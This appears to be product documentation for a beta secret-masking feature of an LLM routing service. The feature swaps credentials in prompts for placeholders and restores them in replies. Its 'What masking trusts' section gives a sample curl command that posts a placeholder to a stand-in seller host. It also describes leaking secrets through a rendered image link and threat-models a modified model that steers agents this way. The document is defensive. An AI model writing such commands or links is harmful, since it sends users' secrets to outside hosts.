Secret Masking (Beta)
An optional extra layer of protection for prompts that may contain credentials. With masking on, Surplus finds the API keys, private keys, seed phrases, passwords and tokens in your request and replaces each one with a placeholder before the request leaves Surplus. The seller's provider only ever sees the placeholders. When the answer comes back, Surplus swaps every placeholder for your real value, so your agent reads the reply as if nothing had been masked.
Masking is off by default for every account and every key. You turn it on per request, per key or for the whole account, and you can turn the key and account switches off again at any time.
- Your requestholds sk-proj-…
- Masked at Surplussent as SI_SECRET_APIKEY_…
- The seller's modelanswers with the placeholder
- Restored for youyou get sk-proj-… back
What it protects against
Every request is served by a seller: a third party running the provider account your request is routed to. Masking keeps your credentials out of what that seller can read and log — their own request logs, their provider's logs, and anything their stack stores. It is aimed at secrets that end up in prompts by accident or by necessity: a .env file an agent reads, a stack trace with a token in it, a connection string in a config, a key you paste while debugging.
It is not a replacement for keeping credentials out of prompts, and it trusts the seller's model with where a restored value goes — read What masking trusts before you rely on it.
Turning it on
There are three switches. Any one of them turns masking on, and none of them can turn it off for a request another one turned on.
| Switch | Covers | How |
|---|---|---|
| The request header | one request | X-SI-Mask-Secrets: on |
| A key | every request made with that key | the Mask secrets switch when you create or edit a key, or mask_secrets: true over the API |
| The account | every key of the account (a team's account covers every key in the organization) | the Secret masking switch on Buy › Routing, or mask_secrets: true on the account's preferences |
X-SI-Mask-Secrets: onmask_secrets: true over the APImask_secrets: true on the account's preferencesPer request: the header
Send X-SI-Mask-Secrets: on. It applies to that request at once, with nothing stored. The value must be exactly on (lower case); anything else, an empty value or the header sent twice is 400 invalid_secret_masking_header. There is no off value.
curl $SURPLUS_BASE_URL/chat/completions \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -H "X-SI-Mask-Secrets: on" \ -d '{"model": "claude-haiku-4.5", "messages": [{"role": "user", "content": "Why does DB_PASSWORD=… fail to connect?"}]}'
from openai import OpenAI client = OpenAI( base_url="$SURPLUS_BASE_URL", api_key=SURPLUS_API_KEY, default_headers={"X-SI-Mask-Secrets": "on"}, # every request from this client )
import OpenAI from 'openai'; const client = new OpenAI({ baseURL: '$SURPLUS_BASE_URL', apiKey: process.env.SURPLUS_API_KEY, defaultHeaders: { 'X-SI-Mask-Secrets': 'on' }, // every request from this client });
from anthropic import Anthropic client = Anthropic( base_url="https://api.surplusintelligence.ai/anthropic", api_key=SURPLUS_API_KEY, default_headers={"X-SI-Mask-Secrets": "on"}, )
# Claude Code sends extra headers from this variable on every request.
export ANTHROPIC_BASE_URL=https://api.surplusintelligence.ai/anthropic
export ANTHROPIC_CUSTOM_HEADERS="X-SI-Mask-Secrets: on"A tool that cannot set a header — Cursor, for example — can use a key with masking on instead.
Per key
Turn on Mask secrets when you create or edit a key in the dashboard (Buy › API keys). Over the API, set mask_secrets: true with any of these:
PUT /v1/buyer/keys/{id}/preferences
{ "preferences": { "mask_secrets": true }, "limits": {} }
# → { "preferences": { "mask_secrets": true }, "limits": {},
# "secret_masking_available": true,
# "secret_masking_effective_at": "2026-10-14T12:00:31.000Z" }POST /v1/keys
Idempotency-Key: 6f1c…
{ "name": "CI agent", "mask_secrets": true }PATCH /v1/keys/{id}
{ "mask_secrets": true }Preference writes merge: a field you leave out keeps its stored value, so you can send mask_secrets alone. Management (admin) keys never run inference and cannot carry the setting: mask_secrets on one is 400 invalid_request. Changing a key's settings needs an unrestricted key or a signed-in session; see API keys.
For the whole account
Turn on Secret masking on Buy › Routing, or over the API:
PUT /v1/buyer/preferences
{ "preferences": { "mask_secrets": true }, "limits": {} }The account switch covers every key of the account, including keys created later. For a team, the account is the organization's, so it covers every member's keys in every workspace.
When a switch takes effect
The header applies at once. A stored switch applies within about 31 seconds — about 70 seconds when masking has only just been turned on for the service — because each server caches your key and account settings briefly. The write that turns masking on returns secret_masking_effective_at, the exact time from which every request is covered, and the dashboard tells you that time when you save. Until then, send the header if you need the request covered.
Turning it off
| To stop masking… | Do this |
|---|---|
| for one request | don't send the header (and make sure neither its key nor its account has masking on) |
| for a key | turn the key's Mask secrets switch off, or set mask_secrets to false or null |
| for the whole account | turn Secret masking off on Buy › Routing, or set the account's mask_secrets to false or null |
mask_secrets to false or nullmask_secrets to false or nullTwo rules to know:
- A key cannot opt out of its account. A key's
falsemeans the same asnull— "not on by itself" — so while the account switch is on, every key is masked. To mask only some keys, turn the account switch off and turn masking on for those keys. - Turning a switch off is not instant either. For up to about 31 seconds after the write, requests can still be masked. That is the safe direction, so the write reports no time for it.
Checking that a request was masked
A response to a request that asked for masking carries these headers:
| Header | Value |
|---|---|
x-si-secret-masking | applied when the request was masked; not_applied on an endpoint masking does not cover (embeddings, media, x402 resources), whose request was sent as it is |
x-si-secrets-masked | how many distinct secrets were masked, capped at 999 |
x-si-secrets-withheld | on a JSON response, how many placeholders were left in place (in reasoning, or where a stream could not be restored); only when more than 0 |
: si-secrets-withheld <n> | the same count on a stream, as one SSE comment line just before the stream's final event; only when more than 0 |
x-si-secret-maskingValue · applied when the request was masked; not_applied on an endpoint masking does not cover (embeddings, media, x402 resources), whose request was sent as it isx-si-secrets-maskedValue · how many distinct secrets were masked, capped at 999x-si-secrets-withheldValue · on a JSON response, how many placeholders were left in place (in reasoning, or where a stream could not be restored); only when more than 0: si-secrets-withheld <n>Value · the same count on a stream, as one SSE comment line just before the stream's final event; only when more than 0A response with no x-si-secret-masking header was not masked. If a request asked for masking and carries no such header, masking is paused on the service (below).
When masking is paused
Masking can be paused on the service as a whole. The preference responses say so with secret_masking_available: false, and the dashboard shows the switches as paused. While it is paused, a request that asks for masking is sent without masking, exactly as if no switch were on, and its response carries no x-si-secret-masking header. Your stored switches stay as they are, and apply again when masking resumes. You can still turn a switch off while it is paused.
How it works
What is detected
There are two kinds of secret, and both are masked.
Recognisable formats, which identify themselves wherever they appear:
- API keys with a known prefix and format: OpenAI, Anthropic, OpenRouter, Google, GitHub, GitLab, Slack, Stripe, Hugging Face, Groq, xAI, npm, PyPI, SendGrid, Twilio, DigitalOcean, Shopify, Telegram bot tokens, and Surplus's own
inf_…,inf_admin_…andsi_seller_…keys; - AWS access key IDs (
AKIA…,ASIA…); - private keys in PEM blocks (RSA, EC, DSA, OpenSSH, PKCS#8, encrypted, PGP) and Bitcoin WIF keys;
- JWTs;
- seed phrases of 12 to 25 words (BIP-39, Electrum and Algorand), including one with a typo.
Values recognised by their context, which look like a secret only because of what surrounds them:
- passwords, tokens and secrets in assignments, config and flags (
password=…,DB_PASSWORD: …,--api-key …), in headers (Authorization: Bearer …,X-…-Token: …, session cookies) and in login shapes (admin / …); - the password in a connection string or URL (
postgres://user:…@host); - hex and Solana private keys next to key-like context, AWS secret access keys next to AWS context, and Azure account keys and shared access signatures.
A small model, run inside Surplus, decides the context cases. Well-known development defaults (postgres, changeme, admin/admin), documented example keys, variable references (${API_KEY}, process.env.API_KEY) and already-masked text (****) are left alone.
Masking reads every text field of the request: the messages and their history, system and developer instructions, tool descriptions, tool calls and tool results, and any other text field. Not masked: personal data (email addresses, phone numbers, names), anything inside images, PDFs, audio or file parts, and a secret with neither a recognisable format nor context that marks it as one.
Placeholders
Each secret is replaced whole by a placeholder of the form SI_SECRET_<KIND>_<8 characters>, for example SI_SECRET_APIKEY_K7M2Q9XA. The kind tells the model what sort of value was there (APIKEY, AWSKEY, PRIVATEKEY, SEEDPHRASE, PASSWORD, DBPASSWORD, TOKEN, JWT, SECRET), so it can still reason about it.
- A recognisable value gets the same placeholder on every turn of a conversation, so the provider's prompt cache keeps working across turns.
- A value recognised by its context gets a placeholder tied to the place it appeared, so the model cannot learn whether one of its own guesses matches your password.
- Placeholders are computed with a key of your account's own, derived inside Surplus from a key that cannot be exported. Another account's placeholder for the same value is different, and no placeholder can be turned back into its value.
What comes back
When the model writes a placeholder in its reply, Surplus replaces it with your real value before the reply reaches you — every placeholder, wherever it appears: in prose, in code, in tool-call arguments and structured output, in links and markup, and for every kind of secret, passwords and seed phrases included. A reply never hands your agent a placeholder it has to work around, so a config file it writes or a command it runs gets the real value.
The one exception is the model's reasoning — thinking blocks, reasoning text and reasoning summaries — which comes back exactly as the model wrote it. Signed reasoning has to be sent back to the provider byte for byte on the next turn, and a changed block would be refused. logprobs, signed or encrypted fields, annotation metadata and error messages are left as they are too.
On a stream, Surplus holds back only the few characters of a placeholder that is still arriving, so a value is never split across what you receive.
Where the value lives
Your secret is never stored and never logged. The map from placeholder to value exists in memory for the one request and is discarded when the response ends. Logs, events, metrics, request logs and usage records hold placeholders and counts only. A final check runs on every masked request's body before it is sent to a seller; if a detected value is somehow still in it, the request is stopped with 500 secret_egress_blocked, nothing is sent, and any reserved funds are released.
Which endpoints it covers
Masked: /v1/chat/completions, /v1/completions, /v1/responses, /anthropic/v1/messages and /v1/decisions, each with its /min{N} mirror.
Sent as they are: /v1/embeddings, image generation and edits, text-to-speech, transcription, video, music, and the x402 resource endpoints (/x402/resources/*). A key or account with masking on works on these like any other key, but nothing in those requests is masked: masking an embedding's input would change the embedding, and media is not text. While masking is running, their responses say so with x-si-secret-masking: not_applied.
Paying with x402 or MPP: a request paid this way has no account, so only the header can turn masking on, and its placeholders change on every turn (prompt caching does not carry across turns for it).
What masking trusts
Putting every value back is a deliberate trade-off, and it is worth stating plainly. Masking is aimed at a seller's own request logging: once the response is back at Surplus, only you see what is restored. But the seller's model writes the response, and Surplus puts the value back wherever it wrote the placeholder:
- Commands and tool calls. A seller serving a modified model could write a command that sends a placeholder to its own server, such as
curl https://seller.example/collect -d SI_SECRET_APIKEY_K7M2Q9XA. If your agent runs it, the seller receives the real value. - Links and images. A placeholder written into a link or an image, such as
, is restored there too. A client that renders the image or previews the link sends the value to that host, with no click needed. - Later turns. A password is recognised by its context. Once it is back in the conversation, a later turn that repeats it without that context — a bare value, or
PGPASSWORD=… psql …— sends it to the seller unmasked. A connection string, an assignment (DB_PASSWORD=…), a JSONpasswordfield or a sentence naming it as a password is masked again.
Review the commands and tool calls an agent runs for you as you would without masking, render model output in a client that does not load remote images when credentials are involved, and keep trusted-only routing (the default) for work that handles credentials.
When a request is refused
Masking fails closed. If a request asked for masking, masking is running, and it cannot be applied, the request is refused before any funds are reserved and nothing is sent to a seller. (While masking is paused, nothing is refused.)
| Status | Code | Meaning | What to do |
|---|---|---|---|
| 400 | invalid_secret_masking_header | X-SI-Mask-Secrets has a value other than on (lower case), is empty, or is sent twice | send on, or leave the header out |
| 400 | secret_masking_too_large | the request has more text than masking scans (about 4.2 million characters by default; media is not counted) or more than 500 distinct secrets | send less text |
| 400 | secret_in_schema | a secret is in a schema keyword (enum, const, pattern, default or examples in a tool's parameters, a response format or a custom tool's grammar), where replacing it would change what the schema means | take the secret out of the schema |
| 400 | secret_in_unmaskable_field | a recognisable secret is in a field masking cannot change: an id, a name, model, user, a signature or an object key | move it out of that field |
| 409 | secret_in_signed_reasoning | signed reasoning in the current tool-use turn contains a secret, usually history from before masking was on, and it can be neither dropped nor changed | start a new conversation, or drop that turn |
| 500 | secret_masking_failed | masking could not be applied | retry; if it persists, quote the request_id to support |
| 500 | secret_egress_blocked | a final check found a detected secret in the body about to be sent upstream; it was not sent and any reserved funds were released | retry; report it with the request_id |
| 503 | secret_masking_unavailable | the stored setting the request depends on could not be read (the request did not ask by header or by its key, so the account's setting decides), or the service cannot confirm right now whether masking is running | retry; for the first, X-SI-Mask-Secrets: on also works |
invalid_secret_masking_headerMeaning · X-SI-Mask-Secrets has a value other than on (lower case), is empty, or is sent twiceWhat to do · send on, or leave the header outsecret_masking_too_largeMeaning · the request has more text than masking scans (about 4.2 million characters by default; media is not counted) or more than 500 distinct secretsWhat to do · send less textsecret_in_schemaMeaning · a secret is in a schema keyword (enum, const, pattern, default or examples in a tool's parameters, a response format or a custom tool's grammar), where replacing it would change what the schema meansWhat to do · take the secret out of the schemasecret_in_unmaskable_fieldMeaning · a recognisable secret is in a field masking cannot change: an id, a name, model, user, a signature or an object keyWhat to do · move it out of that fieldsecret_in_signed_reasoningMeaning · signed reasoning in the current tool-use turn contains a secret, usually history from before masking was on, and it can be neither dropped nor changedWhat to do · start a new conversation, or drop that turnsecret_masking_failedMeaning · masking could not be appliedWhat to do · retry; if it persists, quote the request_id to supportsecret_egress_blockedMeaning · a final check found a detected secret in the body about to be sent upstream; it was not sent and any reserved funds were releasedWhat to do · retry; report it with the request_idsecret_masking_unavailableMeaning · the stored setting the request depends on could not be read (the request did not ask by header or by its key, so the account's setting decides), or the service cannot confirm right now whether masking is runningWhat to do · retry; for the first, X-SI-Mask-Secrets: on also worksSigned reasoning from an earlier turn that contains a secret is dropped from the request rather than refused, since providers do not need it.
Cost and speed
- Price. Masking itself is free. Placeholders change the token count slightly, so a masked request can cost a few tokens more or less than the same request unmasked.
- Latency. Masking adds a few milliseconds to a typical request, and tens of milliseconds to a prompt of several hundred kilobytes. The reply is restored as it streams past, holding back only a placeholder that is still arriving.
- Prompt caching. Recognisable values keep the same placeholder, so caching works across turns. A password is masked again with a new placeholder each time the conversation is sent, so the provider's cache misses from the message that holds it.
Known limits
- A secret the detectors miss is not masked. Secrets with no recognisable format and no surrounding context are the hardest case.
- A placeholder the model writes straight into following letters or digits (
SI_SECRET_APIKEY_K7M2Q9XAfoo) is not recognised as a placeholder, and stays as written. - Putting values back changes text lengths, so on
/v1/responsesthestart_indexandend_indexof aurl_citationannotation that comes after a restored value are off by the difference. - A streamed request with more than one choice (
nabove 1), or a stream whose framing Surplus cannot prove matches what your client reads, comes back with its placeholders in place. They are counted as withheld. - If you disconnect in the middle of a stream, text Surplus was holding back while a placeholder was still arriving (a few dozen characters) is billed, because it was metered from the provider's output, but never delivered.
- Turning masking on in the middle of a conversation drops earlier signed reasoning that contains a secret, or refuses the request with
409 secret_in_signed_reasoningwhen that reasoning is in the current tool-use turn. logprobsshow placeholder fragments.- A restored value can still be copied by a person into a dangerous place.
Related
- Security and privacy — what Surplus stores and logs, and the trust model as a whole.
- Routing controls — the header among the other per-request controls.
- API keys — the per-key switch.
- Buyer endpoints — the preference endpoints in full.